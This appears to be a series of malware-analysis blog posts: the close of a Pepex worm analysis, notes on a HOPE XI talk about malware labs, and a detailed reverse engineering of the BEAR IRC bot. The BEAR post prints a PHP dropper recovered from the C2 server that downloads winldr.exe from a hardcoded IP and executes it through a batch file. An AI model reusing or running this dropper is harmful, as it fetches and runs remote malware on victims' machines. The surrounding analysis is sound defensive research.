Taking a look at Wireshark, there actually was almost nothing that seemed like it could have been attributed to the malware except for a DNS resolution to alt1.gmail-smtp-in.l.google.com which was something that was observed when I was forcing execution through the debugger. I suspect that the reason why there isn’t any SMTP traffic being observed is that while I was forcing execution of the malware in Ollydbg, networking was never completely started via a successful call to WSAStartup.

RegShot does show the following change being made to the Registry, as we saw earlier in the debugger and in Autoruns:

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Local Security Authority Process: “ %1”

Other than this, nothing else interesting came out of RegShot. Process Monitor also didn’t have anything interesting in it, apart from what was already discussed above.

Summary

This was a weird sample to work on because of the issues getting it to run. I don’t have a dedicated physical testing system, otherwise I would have tried it on there to see if I could get it to run properly. I’m torn between whether this was a very sophisticated sample that employed anti-VM techniques that I couldn’t detect (like the SEH shenanigans referenced in the post) or if it was just not well-written and this was causing the execution issues. Just because I didn’t find something doesn’t mean that it wasn’t there, but on the other hand my opinion is that there were several questionable design decisions throughout the sample, so… Not sure on this. This type malware appears to be very old. I’ve seen references to this worm going back as far as 2002, so perhaps this would help explain some of the execution issues also.

I didn’t see anything obvious as far as how the malware gets its email addresses to mail to, however we did see many examples of what appear to be bad passwords hard-coded in the sample. My intuition is that this program tries to harvest email addresses from the host computer. I didn’t see any C2 functionality in here, so I suppose this is sort of a fire-and-forget piece of malware. This sample doesn’t appear to have any clear goal in mind, so maybe it was created for its own sake.

Persistence is attempted via the registry and creating a copy of itself (Isass.exe) that is meant to resemble the lsass.exe file. Persistence wasn’t fully achieved, probably due to the malware not functioning correctly as I forced it through the debugger. I also didn’t see any movement of this sample through a network (or really anything like this in the code), though again, the sample wasn’t functioning 100% so I’m not sure it’s wise to completely rule it out.

Finally, it seems that Pepex is a fairly consistent name for this sample, so no need to name it like I did with BEAR.

References:
http://www.codereversing.com/blog/archives/198

Findings and observations:
Mass-mailer worm with execution issues. Design flaws reveal functionality and signatures. This sample was first observed 14+ years ago, but doesn’t seem to have any obvious malicious function besides wasting resources.

Recommendations:
Detection is very high for this sample, probably due to age, so up-to-date AV probably would help mitigate this sample. Not opening suspicious files received via email or other routes also stands for this sample. Use of strong passwords (and definitely NOT the very poor examples found in this malware) is advised. Removal can be done by modifying the registry entry for persistence (if successful in the first place) and also the Isass.exe file.

Conclusion:
Interesting to see this very old piece of malware, even if it didn’t fully run in the test environment. Not a terribly destructive sample, mostly just annoying.

Report: MalEXE002pdf

Hashes:
Packed:
MD5:4d56562a6019c05c592b9681e9ca2737
SHA1:5e805107360e1d5f668a01ab6722791ce4c4db33
SHA256:e441718e331af69579b2699b07c8211aa776c5634e60a570099917b2f8603a29
ssdeep:192:N81SjNvWmmubvcWfEZAvpfhxT1gcfUZIEyfvxhsjg6JhJ66AjAEodg9J:NjNvWhuATOvnpfAtixhsU6JhJ6dAKf

Manually Unpacked:
MD5:5d0991861e652a367a7ea61f4b8b2bc7
SHA1:bd4a5a341b8ebef63763567ffcb80969e65f733b
SHA256:f421df27b7c315331e7f099b42277cf946966b0e4e54a4e437c5daee60bae2f1
ssdeep:768:7jNviuAPsbuJPfMABytIT4euP4f2TKu+hLxCtJhJ6d7Tgrc7:nsPsb6XXB98QLP

Automatically Unpacked:
MD5:e0d337ff5974a26ccc1764fab553d1d2
SHA1:ad468acebc461f2ea2da53064097747c96c20741
SHA256:62ea220bd9ce404c411a6128ed23acd4dbdc0395badd5f9a054da9e83026bc75
ssdeep:384:BosbuJCIz8EM5BiYqBDGt5u4LzqNc2r81bP8uThFgNQkweWLs0s22e:msbuJPfMABytIT4euTgNQle+2

HOPE XI

Posted on July 26, 2016 - July 26, 2016 by rhyolite

This weekend I attended Hackers on Planet Earth (HOPE) XI in NYC. Saturday night there was a presentation from Robert Simmons of ThreatConnect on open source malware labs. All the talks are going to be placed online at some point, but I thought I’d highlight some of the material Robert presented in the meantime.

Robert spoke about the use of either open source or otherwise free tools for analyzing malware. By “otherwise free” I mean tools that might require registration or some other action to be performed in order to obtain access. He attributed his overall analysis framework to some of Lenny Zeltser’s work, highlighting four main areas where the lab (open source or otherwise) can impact the organization:

1. Malware Research
2. Enhanced Threat Intelligence
3. Network Defense
4. Fun [IMO, it’s more fun once you figure the sample out]

Robert also spoke about some of the benefits of an automated malware analysis system. He described “hunt teams” which would use an automated analysis system and other tools to enhance threat intelligence. His vision of a hunt team is sort of a “proactive IR”, meaning that rather than reacting to an incident, this team would go searching for malware or other issues and then use the automated system as a force multiplier for analysis. For instance, say the hunt team locates what they believe to be an undetected piece of malware. The team would then use the automated system to begin to build out host and network based signatures, begin to gather pieces necessary for threat intelligence (resolved domains, IP addresses, etc.), etc. This information would then be used to improve defensive measures with updated or new signatures.

His top four entry points for malware are:
1. Files
2. URLs
3. PCAPs
4. Memory Images

My interpretation of this is not that malware literally comes from a memory image, but rather these are the inputs into an automated lab that would then be used to isolate and analyze samples. I think this makes sense because most users aren’t going to be looking through captured packets or memory dumps.

The tools that he highlighted for the talk were:
– Cuckoo Sandbox (also the sandbox used by malwr.com)
– Thug (low interaction URL honeyclient)
– Bro (network monitoring tool)
– Volatility (memory forensics)

One really interesting thing that he mentioned is that Bing can be used for doing passive DNS type searches. He demonstrated that by searching Bing for an IP address, it will return all domains that have resolved to that IP address. This could be really useful in the event that you have a sample that doesn’t resolve a domain name but rather handles C2 via a hard coded IP address. For example, BEAR resolved her.d0kbilo.com (37.59.118.41) this IP is actually associated with a few other malicious domains (e.g., l.kokoke.net). If you lookup an IP address that you feel is suspicious (say from captured packets during dynamic analysis) and notice that it is associated with numerous domains related to malware, you could safely assume that the traffic you found is suspect and should be looked at in more detail. I tried using Bing for this with the BEAR IP address, and didn’t have much luck with it, however trying other IP addresses associated with botnets did reveal other domains that currently or previously resolved to that address. That said, I got some similar results searching on Google also, so perhaps it’s best to just try various search engines for this type of research and then see if you get results from one search engine that you might not get from another.

Anyway, going through the tools, Cuckoo Sandbox is a great tool that I actually use all the time via malwr.com. You can think of a sandbox as sort of an automated container for malware that creates a virtual environment each time a sample is analyzed. In the case of the malwr.com instance, it drops the sample into a Windows XP (or other) environment and then lets the malware run while observing behavior. It’s nice to use a sandbox because it can help get a lot of basic info sorted out for you quickly, such as generating hashes, searching for strings, and so on. These are typically actions that you take with every malware sample that you work on. You can also observe dynamic information such as network activity and dropped files in the sandbox. One thing to keep in mind is that you need to have an understanding of the “baseline behavior” of what sample you are analyzing and the environment so that you can recognize normal behavior that the sandbox might flag. For instance, if you are analyzing a malicious PDF, you should be aware of what files might be dropped or what actions Acrobat Reader will take that are part of normal operation (such as dropping a SQLite database) vs. what can be traced back specifically to the sample you are working on.

Thug is a tool that I haven’t heard of before this talk, and from what I hear isn’t that well known just yet. Thug complements tools like Dionaea. Dionaea and other honeypots will sit out there and collect attacks that are directed towards machines, while Thug is a honeyclient that will go and simulate a connection to suspect sites, in this case websites. It works by crawling sites and simulating various client-side software (e..g, Flash) and trying to see what is triggered by the possibly malicious website, then saving these results for later analysis.

Bro Network Security Monitor could be described simply as an IDS, but it appears that this description doesn’t really do it justice. It’s more of a framework than a system, and it’s actually been around since the 1990s so it has quiet a bit of experience backing it up at this point. Though Bro’s focus is on networking monitoring, you can also use Bro to do traffic analysis, which is how Robert presented this tool during the talk. I remember one interesting point he made was that Bro is very good at recognizing types of traffic – so, if you see captured traffic that Bro didn’t identify, chances are it’s something very shady since at this point Bro will successfully identify pretty much anything that is legitimate. I think sometime I’m going to try using Bro instead of other tools (like Wireshark) and see what results I get.

The last tool that he mentioned was Volatility, which probably doesn’t need an introduction but I’ll talk about it a bit anyway. Volatility is a framework for volatile memory analysis/forensics. There are a few reasons why you might want to look into this type of memory. One is that you might be able to get a better look into things that would otherwise have been obfuscated during static or dynamic analysis. For example, when I analyzed BEAR, you didn’t see the domain or IP address for the C2 server in the static analysis, but you did observe it in the memory dump that I did just with one of the sysinternals tools. Another thing that you can do, which Robert highlighted in the talk, is compare two views of internal memory to see what has changed because of the malware. He took a sample of “normal” memory and then a sample of memory after running the suspicious file and then compared the two in order to help determine what new processes (and other indicators) were associated with the malware sample.

This was a great talk. A couple of other things – one was that Robert had a really clean format for displaying analytical results in swimlanes. He basically set up a swimlane for each of the four tools and then inserted the signatures obtained by each tool in the respective swimlane. I thought it was a great visualization, and I think I’d like to try it at some point with one of my future analyses. The other thing that was nice was that it looks like Robert’s thought process around malware analysis (at a high level) lines up with what I learned, so it was a good validation of how I’ve taught myself and the materials that I used.

Robert has some interesting repositories up on his GitHub site and he’s also on Twitter if you’re interested in following his work.

BEAR, Part II

Posted on July 19, 2016 - July 20, 2016 by rhyolite

Next up is to analyze the decrypted payload from the previous analysis (BEAR). One interesting thing is that this sample failed to run in the malwr.com sandbox, so I wonder if there’s something in the sample that prevented that or if it was just a random failure.

Looking at strings, I’m finding that it appears to be in the clear and without the same obfuscation as the launcher:

bear2-1

The strings observed are mostly the same as the ones in the prior analysis, the ones recovered from the running process image. I do see one string that I don’t recall seeing in the prior analysis, this one having to do with the registry:

bear2-2

Opening the payload in PEview, we see much more information than last time. One thing I noted was the the date/timegroup in this file was 2009/12/24 13:25:55Z. These can be patched after the fact, but I wonder if this indicates that this is actually a very old sample that has just been repackaged recently.

There are also several imports that are in the clear:
– msvcrt.dll
– kernel32.dll
– ws2_32.dll
– user32.dll
– advapi32.dll
– shell32.dll

I’ve included the full list of imported functions in the report linked to at the end of this analysis, but I’d like to mention a few of them:

WS2_32: WSAStartup, Socket, Bind, Listen, Connect, Send/Recv, GetHostByName, Inet_Addr

This sample uses the lower-level (when compared with a DLL such as wininet.dll) library to establish networking. Using WS2_32 can require more “construction” of various parts of traffic, such as headers. This can lead to more signatures within the malware itself – possibly hard coded user agents, for instance, or typos that are slightly different than a legitimate user agent. GetHomeByName is used to resolve a domain name, while Inet_Addr is used to convert that resolved IP address string to something for other functions to use. WSAStartup is used to initialize networking, so a good way to find where the networking functionality begins is to look for this function in the disassembly or set a breakpoint for this function in the debugger. One thing I find curious about these imports is that it seems that there is a function missing here. Between a client-side and server-side instance, here are what you would typically see:

Client side calls:
1. WSAStartup (initialize networking)
2. Socket (creates the socket)
3. Connect (connects to the remote socket)
4. Send/Recv as appropriate

Server side calls:
1. WSAStartup
2. Socket
3. Bind (attaches the socket to a port)
4. Listen (sets the socket to listen for traffic)
5. Accept (waits for an incoming connection from a remote system)
6. Send/Recv as appropriate

What’s absent from the imported functions above is Accept. I double checked, and I do not see that being imported. This would only be required under the server side calls – I’m guessing that this malware is a client, however given the number of functions imported I’m a bit surprised to see Accept missing from the list. Perhaps this is an oversight, or maybe this function is called some other way (an indirect call like CALL EAX), or finally it might be a clue as to the malware’s function.

Kernel32: CreatePipe, PeekNamedPipe

Pipes can be used to simplify connectivity to a remote C2 server. PeekNamedPipe is called to copy data from a named pipe without removing it.

Kernel32: CreateMutexA

Mutexes are sometimes created to help ensure that multiple instances of the malware are not running at the same time on the same machine. The malware will check for the presence of the mutex and then exit if found. This can also be a good way to find host-based signatures, in the event of a hard-coded (fixed) mutex name. Later on, we actually do observe a mutex created (dc3d5c2012d372867 88b94a5d50d7a3cf0).

ADVAPI32: CryptAcquireContextA, CryptReleaseContext, CryptGenRandom

CryptAcquireContextA is used to initialize windows encryption. The others relate to other encryption functions.

Kernel32: GetTickCount, QueryPerformanceCounter

These both can be used in anti-debugging operations, however they can also have other uses as well. For example, in the BEAR launcher we saw that GetTickCount was essentially used to seed a random number generating function.

Kernel32: SetFileTime

This can be used to modify the creation/last access/last modified dates and times on files, which can be used to hide malicious modifications to files on a victim machine.

Shell32: ShellExecuteA

This is used to execute a new program – I wonder if this will be used to run the self-deletion batch file, or something else. I’ll be looking out for new processes and calls to this in the disassembly and debugger.

ADVAPI32: RegClose/Open/CreateKey, RegDelete/Enum/Query/SetValue

I see several functions that are used to create, open and close registry keys as well as look for, delete and/or set values in keys. We saw that the BEAR launcher achieved persistence via the registry, so this is probably what is happening here.

Kernel32: GetLocaleInfoA

I’m curious to see how the malware uses this function – does the payload behave differently based on where the host is located, or upon the language of the victim?

Kernel32: WriteFile, CopyFileA, DeleteFileA

I always like to see these, because it means that I should see something created or removed that could either lead to more clues to functionality or act as a good host-based signature.

As a side note, once grouping of functions that I am not seeing is the set of functions associated with process replacement or injection, which we did see in the BEAR launcher.

Checking out KANAL, there’s a few different things here. First, it picks up the base64 index that we could see above in the results from strings. Next thing is that it picks up on a call to an imported crypto function. Final thing is that it sees is constants for MD5. It’ll be interesting to check these references out in the disassembly to see how these are being used.

bear2-3

Dynamic Analysis

During the analysis of the BEAR launcher, it was observed that the behavior was much different when running the sample as a regular user (i.e., not as an admin). For this reason, I opted to run the payload as admin and skip testing as a regular user, with the assumption that the payload would be similarly affected.

One change immediately noticed was the addition of the following keys to the registry:

HKLM\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
HKLM\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List

We saw one of these exact keys earlier, in the strings output:

bear2-4

Looking in the registry at this location reveals:

bear2-5

HKLM\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\C:\Windows\system32\spooIsv.exe: “C:\Windows\system32\spooIsv.exe:*:Enabled:Windows DLL Loader”

This value was also added:

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\Windows DLL Loader: “C:\Windows\system32\spooIsv.exe”

Next, the following file was added:

c:\Windows\SysWOW64\spooIsv.exe

And the following file was deleted:

c:\MA\lab\payload.exe

The method of deleting the sample was the same as in the other analysis – a randomly named batch file was created (with the same instructions) and this was run to delete both the original payload executable and the batch file.

Oh, look at this – here’s spooIsv.exe, but look at the date/time group:

bear2-6

This is almost certainly the place where we see usage of kernel32.SetFileTime to help hide the sudden appearance of this malicious file. The file is also hidden, and happens to be the exact size of the original sample.

Comparing the MD5 hash of each confirms that it’s the same file:

bear2-7

You can observe further confirmation of this file being added to the registry to run at startup:

As mentioned earlier, we do observe a mutex created:

bear2-9

As far as network activity, nothing different was observed between the prior analysis and this one. For full details, please refer to the BEAR launcher analysis.

The payload exhibits the same behavior as the launcher in terms of the iterations of spawned/replaced processes, so please see the prior analysis for details. However, one difference is that when this payload is executed on its own, it does not create two new processes for replacement – only a single instance of each new process is observed.

Disassembly / Debugging

The disassembly is much easier to follow in the payload when compared with the launcher, thankfully.

One of the first major functions after startup is sub 406845. Many things happen in this sub, and I’ll cover the interesting ones here:

Sub 40650E gets the filename and directory of the running process. Soon after that, the malware looks at the filename of the running process and makes a comparison. Based on this comparison, the malware branches:

bear2-10

If the branch “fails”, then it gets the system directory and then does what I presume is some decoding of strings with a loop:

bear2-11

Here’s an example of one of the decoding functions:

bear2-12

What’s interesting about this block starting at 406885 is that it appears to look for a string (that it concatenates) and it will loop to try and find this string – if successful, it will then jump to 406931 where the registry settings to have the program run at startup are made. If these iterations finally fail (or if the original branch at 40687C is true) then the sub that I call the RegistryAutoruns function is called but in this case to actually delete the registry settings and also log that the malware was uninstalled (this info is sent to C2 using a sub starting at 409003):

bear2-13

Here’s a code snippet to show part of the “CreateBATDeleteAll” sub where we see the batch file being created and executed via ShellExecuteA:

bear2-14

Another couple of blocks of code within this overall function includes sub 40642D which contains the code for setting up the registry keys/values to run the sample at startup:

bear2-15

Within this sub, we also see sub 40627D which makes the registry changes for the firewall access:

bear2-16

Notice also the line that prints a string that logs this change to the system. This generally seems to be a pattern with this malware — you see the string that is recorded for the logging aspect of the function being performed, and then you see calls into the functions that actually perform those actions.

Getting back to the beginning of the disassembly, we see that the system is set to sleep for 1 second (0x3E8) and then the malware creates a mutex:

bear2-17

If there are issues with the mutex creation, then the malware loops back to the code we already discussed. Otherwise, we get to a dense block starting at 409C73:

bear2-18

Stepping through this:

The sub at 4053B1 contains LOTS of plaintext calls to LoadLibraryA and GetProcAddress:

bear2-19

I think most of this stuff we already were aware of, at least on a high level, but some interesting calls to LoadLibrary and GetProcAddress include a load of netapi32.dll and one of the functions used from that is NetScheduleJobAdd which can be used to schedule a run of a program at another time. From this same library is a call to get the address of NetShareEnum which is used to enumerate through network shares and NetUserEnum (similar but for users).

Sub 405F28 is more of the same, just different libraries and shorter:

bear2-20

Sub 407B36 calls memset and InitializeCriticalSection. Sub 403008 is interesting and I can’t say that I fully understand it, but it appears to obtain random data using the __imp_clock function and transformations of that data. There is a function that I’ve named ClockCallAndTransform that is also called. Here are both functions:

bear2-21 bear2-22

bear2-23

This ClockCallAndTransform is the major thing that happens within 403008 and is also called elsewhere (such as from this overall block of code we’re looking at now).

Sub401EF2 contains calls to set up crypto in this program:

bear2-24

Sub 401000 sets up the base64 index in a spot beginning at 40EAD0:

bear2-25

Sub 4020DF has to do with MD5 encoding, with several subfunctions. One of its first subs is 401478 where we see the MD5 constants set up:

bear2-26

The next two calls are to 4014A0 and 40153F, which themselves work with a function at 40160C, which appears to be the main MD5 sub. We can see the precomputed MD5 table for each round in plaintext:

bear2-27

This is a LONG sub, stretching from 40160C down to 401EAB. Japanese Media Manager has a post of the assembly code for MD5, in case you are interested (or see references below).

This work done with MD5 is called two additional times (total of 3) and then the mysterious clock function is called four times. This block wraps up with getting the module handle and filename. See below for the fully renamed block:

bear2-28

Pressing on, we see some stuff done with the module handle and filename we gathered at the end of the prior block, and then we get to a denser area starting at 409D28. Sub 406637 is an interesting call in this area. In this sub we see a lot of calls to some of the same functions discussed earlier (the ones setting up persistence, creating the batch file, etc.) but we also see an interesting call at 406382 which is where we see the file time being faked on the installed copy of the malware:

bear2-29

After this is done, then we see the call to WSAStartup which is the beginning of the network activity (at location 409D48). A small block begins at 409D4E, and the first sub called (408D4A) contains lots of networking setup activity via WS2_32 function calls. Throughout all of these calls there are also multiple calls to the XOR transformation subs already discussed and labelled.

There is one very interesting sub within this big mess, though, which is at 408A9F. This is the sub where the initial communication with C2 is handled via IRC. First, clock data is gathered with a call to a sub at 4069B5. Following this, there’s a block at 408A9F where we see the connection password is sent which must be done before the user registration takes place:

bear2-30

Soon after, we see the creation of the user registration string that is then sent to C2 starting at 408B43:

bear2-31

After this, some checks are done on a couple of the arguments passed to the function and then the system will either branch to start what appears to be a system inventory or it will connect with the generated nick on the IRC server. There is a call to a sub at 407A55 which calls GetTickCount and QueryPerformanceCounter twice and then carries out transformations of various types on the returned values. Another sub within the system inventory branch is 4070D9 which collects the locale info. This sub checks to see if the locale returned is “USA” so I wonder if this is an indication of targeting of particular users. A call to 407750 finds the connected drives and their sizes. A call to 4074B2 XORs four strings and then also sets up commo using those strings, then later we see a call to GetVersionExA and then the major version is checked to see if the host is running Windows XP or something else (Windows 5.1):

bear2-32

After this, we see what looks pretty much like the construction of the nick for the malware’s IRC connection, and then the channel name #balengor:

bear2-33

I’m guessing that this system inventory info might have some role in the way the nick is constructed. It would make sense that the nick would be used to give the author(s) an idea of what system type and capabilities are associated with each nick. Lower we see where the NICK command is actually sent to the C2 channel:

bear2-34

Now, stepping WAAAAY back out several levels back to the block starting at 409D4E, the next call there after we’ve done all this system inventory and bot registration on IRC is the sub at 4079DE. This is another sub that takes two calls to GetTickCount and QueryPerformanceCounter and then does transformations with them. I’m stating to think that these are some sort of random data generator and not involved with anti-analysis.

The next major block is at 409D71, which consists essentially of a call to a tiny sub that will MOV a socket into EAX and then a call that sets up and calls the select function from WS2_32, which will determine the status of a socket to perform synchronous I/O. We see another branch from there that will call recv in WS2_32:

bear2-35

One interesting little thing here:

bear2-36

We see this floating around – in the prior analysis it was observed that the PING commands sent via IRC happened roughly every 90 seconds – this helps confirm that the stuff being done with the clock is used to generate random data. I guess the author(s) thought that sending these commands at exactly 90 second intervals would attract attention, so this mechanism was put in place to make sure that the commands were sent slightly randomly but still close to the 90 second interval.

This entire section loops continuously:

bear2-37

Sub 409B98 appears to be where the data from C2 that was obtained with the call to recv is processed. Some highlights from inside this and subordinate subs:

Checking for certain IRC traffic:

bear2-38

Here’s an interesting spot where the program appears to set itself up to look at the base64 encoded string from the topic in the C2 IRC channel #balengor:

bear2-39

Sub 401022 is where we see that string being worked with:

bear2-40

I’m calling the sub at 409B98 “GetCommandsFmTopic”. A few levels into this sub, after doing some work to parse through input received through the C2 IRC channel, we see this sort of innocuous call:

bear2-41

This leads us to a HUGE sub, look at this graph:

bear2-42

I was kind of hoping that I was getting near the end and could wrap this up soon…

4090AE seems to be the main sub where it appears all of the functionality is controlled. The structure looks like a series of if-statements that take the input from C2 to the malware and check the strings and then take actions. For example, the first thing it does is check for the string “PING”:

bear2-43

If it sees “PING”, then it branches elsewhere and sends this command to the IRC channel:

bear2-44

It checks for PING, PONG, MODE, PRIVMSG, etc. At some point we see a check for “433”:

bear2-45

If 433 is detected, i.e., if the jump is NOT followed, then we proceed to an area where the various subs are called to hide the installed malware with a fake file time and delete the original files, check for the locale, do an inventory of drive types and size, get OS info, and then send the NICK command in IRC (I’m only including one of the earlier screenshots because it’s a lot of material to post otherwise):

bear2-46

Other branches give interesting results. Seeing the string “ERROR” seems to send the bot down the path of taking a system inventory and then registering itself; the “JOIN” string can take you down a path where the USERHOST command registers the host the bot is connecting from or it can take you down another path where you check for “001”. This has you set the user mode and join the channel. “451” registers the bot on IRC. “302” leads you down a path where you check for data with an @ in it, probably a userhost string. “NICK” can have you copy a string (I’m assuming the bot nick on the server). “332” has you do some decoding of a base64 string, probably the channel topic that we’ve already seen. The size of this sub itself makes it hard to analyze.

Speaking of hard to analyze, I found a sub that contains two calls to rdtsc (sub 40700B). This function can be used to test for the presence of a debugger. It returns the number of ticks since last reboot, and what a program can do is call it twice (which this one does) and then check to see how long has elapsed between the tests (which this does, it compares the value returned with 1000000). The idea is that if an unreasonably long amount of time has passed, then the assumption is that the program is operating in a debugger. This program appears to just loop endlessly if the two calls take too long. A tick represents 100 nanoseconds, so 1000000 ticks is 0.001 seconds (1 millisecond) so not very long at all. Anyone debugging this function would absolutely get stuck there unless they executed past it or patched the code. Something else must be done to the results, though, because you also see that there’s a call to Sleep for 1000 milliseconds after the first rdtsc call, but I didn’t look into this more as I wanted to keep moving on.

bear2-47

One of the branches in 4090AE connects to another huge sub at 40830A – look at this graph:

bear2-48

This sub does all kinds of interesting things:

– Base64 decoding (again, I’m thinking the channel topic)
– Download a new .exe file (probably an update to the bot software) which actually encompasses several interesting subs: 404866 which is used to set up things like ports and addresses depending on the protocol used (http/80, ftp/21, tftp/69) and under that sub 40464E which constructs an HTTP header if necessary. I also noted that the ftp service is set up as anonymous – if I can find the address, then I could possibly log in anonymously and find more files.
– Quit and restart
– Quit and change servers (that’s interesting…)
– Install or uninstall the malware
– Report system uptime
– Scan IPs
– Run exploits against a list of IPs (sub 403698 is called by sub 403861 to do this)
– List exploit statistics (sub 40399A)
– Start a “Remote command thread” with sub 4042A7 (a remote shell and also the ability to execute remote files)
– Gather extensive system and OS info (to include naming the Windows version found) within sub 40740E | 407132. The malware will recognize a range of versions from Window 95 up to XP/2003, as well as gather processor info.
– Gather network adapter info through subs 407718 | 407523. This will also rate each one as Good / Avarage [sic] / Bad.
– Gather drive info (types and sizes) through subs 4079A6 | 4077CA.

The actual sub that creates the remote shell (403FF3) is actually pretty cool. You can watch it step through the entire process of finding cmd.exe, creating a pipe, duplicating a handle/creating a new process, calling PeekNamedPipe to get data from the pipe without removing it, etc. along with a few error messages.

That pretty much covers the disassembly, at least as far as I want to take it since I need to move on to other things. Debugging was largely unsuccessful, I suspect there are some anti-debugging things going on but I’m not looking into this right now.

I did try to connect to the malware C2 site (37.59.118.41) over anonymous FTP and was able to log in. I found an empty pub folder and three .ico files in the directory. I opened one of the .ico files in notepad++ and found this:

<?php
error_reporting(0);
$ln = “http://37.59.118.41/”;
$nm = “winldr.exe”;
$bt = implode(“”, array(‘f’,’.’,’b’,’a’,’t’
$fl = $ln . $nm;
$bc = “START ” . $nm;

function fileDL ($uf, $pf)
{
$nfn = $pf;
$fn = fopen ($uf, “rb”);
if (!$fn) exit;
$nuf = fopen ($nfn, “wb”);
if (!$nuf) exit;
while(!feof($fn))
fwrite($nuf, fread($fn, 1024 * 8 ), 1024 * 8 );
fclose($fn);
fclose($nuf);
}

fileDL($fl,$nm);
$bf = fopen($bt,”w”);
if(!$bf) exit;
fwrite($bf,$bc);
fclose($bf);
exec($bt);
?>

Well, that’s interesting. Basically what this does is:

– creates a batch file called f.bat that will contain START winldr.exe
– downloads the winldr.exe file in 8k chunks
– executes f.bat which will start winldr.exe as a service

Thanks to the Captain for taking a look at the PHP.

This is what I get when I visit the malware IP with a browser:

bear2-49

No, the live chat button didn’t work. Would have been interesting.

An address of http://37.59.118.41/winldr.exe however, does result in a 24kb file being downloaded.

I tried running the original payload in a debugger to see if I could catch the password being sent, didn’t have any luck. However, I noticed this:

bear2-50

A new C2 domain and port? I tried connecting there via IRC but was unsuccessful.

I need to move on from this sample, but I did do a little observation of winldr.exe and here are the most interesting things that I observed. This sample seems to scan IP addresses, as within a couple of minutes I saw it connect and disconnect from about 9,600 IP addresses (list attached to this post, see below). I also noticed that this piece created 94 threads in a row at one point. Winldr.exe does connect to the C2 server, but to a different channel (#j) and with a different nick format (this instance connected as jlqydetno). One of the online sandboxes had this sample connect to l.kokoke.net on port 8089 (mine didn’t). This file didn’t appear to be packed. A funny thing that I noticed is that one of the functions contains the string “KeepITSimple”:

bear2-51

This file also blows up on Virustotal (42/53 or so). Its size is 24,576 bytes and its hashes are:

winldr.exe hashes:
MD5:6e7b29c6148c94036f7ef7c1f3fa90b9
SHA1:80a80c14d4ab5ae2e08436e4e0536b5a80bfe8ab
SHA256:8b1b55939eb90e878fea2b4013c73ba0421f5d61ab3f52249f44eeaf53f69205
ssdeep:384:tFETgfzaRXAojQiZuRBXnXAWe9drTLUonW41ldc2H0:tYgrmQiwR6WGVnWi7t0

Anyway, some things I could follow up on in the future include:
– Figure out exactly what causes the debugger to fail
– Determine the nick generation system in use, and try to impersonate a bot account on the C2 server
– Try to log traffic over a long period of time to try to observe actual C2 traffic being sent
– More research on uNkn0wn Crew

References:
https://en.wikipedia.org/wiki/MD5
https://en.wikipedia.org/wiki/List_of_Internet_Relay_Chat_commands
https://github.com/japanesemediamanager/jmmserver/blob/master/hasher/MD5_asm.asm

Findings and observations:
Robust bot software that offers lots of features to the author or other controller. We saw that there was a detailed system inventory function; ability to (at a minimum) inventory local networks; update the C2 server; update the software; provide troubleshooting info to the author(s) in the event of errors; anti-analysis techniques; remote shell access; remote execution; various methods of hiding the malware and its traffic/activities; presumed encoding features to provide information back to C2 in the form of account names, etc.; and features that allow the bot controller to recon remote systems and also attack those systems. We also found many things in this sample and the previous sample (the launcher) to obfuscate the bot code such as encryption (AES) and other encoding (MD5, base64, xor).

Recommendations:
Same recommendations as noted in the analysis of the launcher. One might also consider blocking port 69 for TFTP unless this is actively in use, as this was shown to be one source of downloading updates for this malware.

Conclusion:
Really cool and fascinating bot to work on. Lots of features and functionality for the authors. We saw that not only does it provide some useful features such as the ability to scan and exploit other machines, remote shell access, but also housekeeping functions such as error tracking and reporting and an update feature as well. This was a great sample to work on.

Report:MalEXE001payload-pdf
Scanned IP Address List:IPsScannedByWinldr-exe

Hashes (payload):
MD5:d4851b410d158cf650d3f772e270f305
SHA1:4ee5121b05820e8f04b6560f422180660df29b2d
SHA256:267674ddf67827afa282763e57313fc636f170fbffaf104e69ee4db49d1567d5
ssdeep:1536:daWAQE3GZ8CAu9ax2MaO7tJoQuQQTKZc9q3RXFuEUk:JAQE2UHaO2QQTv4XF9Uk

BEAR

Posted on July 12, 2016 - July 12, 2016 by rhyolite

I turn my attention to the sample that came into the new honeypot, mentioned in the prior post. I uploaded the sample and it pretty much blew up VirusTotal:

BEAR1

Nice. Also, I happened to notice that the file has a PE header, which is a welcome change from all the spammy documents I’ve been looking at so far. I didn’t delve too deep into what else the site found because I want to try to see how much I can find on my own – the point isn’t to just upload stuff and have a sandbox do the work for me, I want to see what I can get out of it myself and then “check my work”, so to speak, in the sandbox.

Static Analysis

BEAR2 I started with some basic static analysis stuff like strings.exe. What I get is some pretty standard looking stuff – in the beginning (not shown) you see the header and see mention of the .text, .data and .rdata sections. Further down you see what we’re meant to believe are imported functions. GetTickCount could be used as an anti-debugging technique, but it could also have a more conventional use. GetVersion could be used to survey the host in order to see what is running and possibly also to inventory the system. VirtualAlloc can be interesting when associated with other imports that might have to do with process injection, but I’m not seeing those other imports here. WriteFile is always a good one, since this means that something is probably being written (either a file is dropping for some purpose on the host, or perhaps data is written to a file before exfiltration).

After this list of function names, there were pages and pages of random strings. Nothing in there resembled anything like a host name, IP address, messages, file names, mutex names, nothing at all. I’m guessing this file isn’t packed due to the plaintext import names and regular section names, but not sure yet and need to look deeper. My guess right now is that whatever strings, arguments, etc. the sample uses are obfuscated somehow.

Opening this sample in PEview reveals some more info. This particular sample is relatively new, compiled on June 4^th of this year. Quickly checking a few anti-debugging things, I see there is no TLS table and the number of data directories looks fine (0x10). The virtual and raw sizes of each section are very close in size to one another, again suggesting that the file isn’t packed and reinforcing the assumption that there’s obfuscation of some sort going on here.

The next tool up is Krypto Analyzer (KANAL) for PEiD. KANAL is a tool that looks through files for indications that there might be some sort of encryption going on. These indications include constants associated with various encryption schemes, function imports related to cryptography, and the like. The main issue with using KANAL is that if the sample uses something non-standard (such as a custom base64 index), KANAL will not pick that up. There are also cryptography schemes that do not use “magic constants”, and those won’t be picked up by KANAL either. In this case, KANAL did find something:

BEAR3

